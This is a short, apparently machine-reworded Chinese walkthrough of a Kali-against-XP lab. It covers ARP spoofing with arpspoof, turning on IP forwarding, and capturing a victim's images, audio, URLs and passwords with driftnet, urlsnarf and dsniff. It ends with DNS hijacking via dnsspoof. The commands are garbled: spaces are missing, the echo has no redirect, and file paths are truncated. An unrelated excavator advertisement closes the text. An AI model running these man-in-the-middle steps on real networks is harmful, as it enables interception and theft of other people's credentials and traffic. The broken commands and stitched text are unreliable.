预备:kali、xp
kaliip:192.168.14.157
方针ip:192.168.14.158
方针网关:192.168.14.2
ARP诈骗:
arpspoof-t方针ip-r方针网关
指令:
咱们能够看到xp以为网关的MAC地址和KAli是相同的
显现咱们诈骗成功
但现在xp是不能上网的
kali默许不会敞开流量转发
咱们在xp下是不能上网的
翻开流量转发的功用:
检查(默许kali没有敞开流量转发功用,值为0)
指令:cat/proc/sys/net/ipv4/ip_forward
默许值为0
敞开流量转发
指令:echo1/proc/sys/net/ipv4/ip_forward
咱们回来看kali是否能上网
能上网
网络嗅探
盗取阅读中的图片:
指令:driftnet-ieth0
会翻开一个窗口
咱们去xp阅读网站
再看看作用
能够看到阅读过的网页相片都在这儿显现
还能够抓取声音文件
你也能够把图片放到一同,放到一个目录下
新建目录:
mkdir目录名
-例如mkdirtempdir/
-driftnet-ieth0-a-dtempdir/-s(声音文件)
抓传输历程阅读的url:
指令:urlsnarf-ieth0
嗅探暗码:
指令:dsniff-ieth0-m
DNS诈骗(域名绑架)
你也能够进行域名绑架,让对方拜访一个网站解析到不精确或许假造的网站上
你须要自己制造诈骗的域名
自己没有找到自带的域名集
只能自己修改
格局:
假造网站ip*.
假造网站ip*.
检查:cat/usr/share/dsniff/
修改:vi/usr/share/dsniff/
执行指令:dnsspoof-ieth0-f/usr/share/dsniff/
工程开沟机 6吨以上挖掘机配链条式 液压开槽机厂家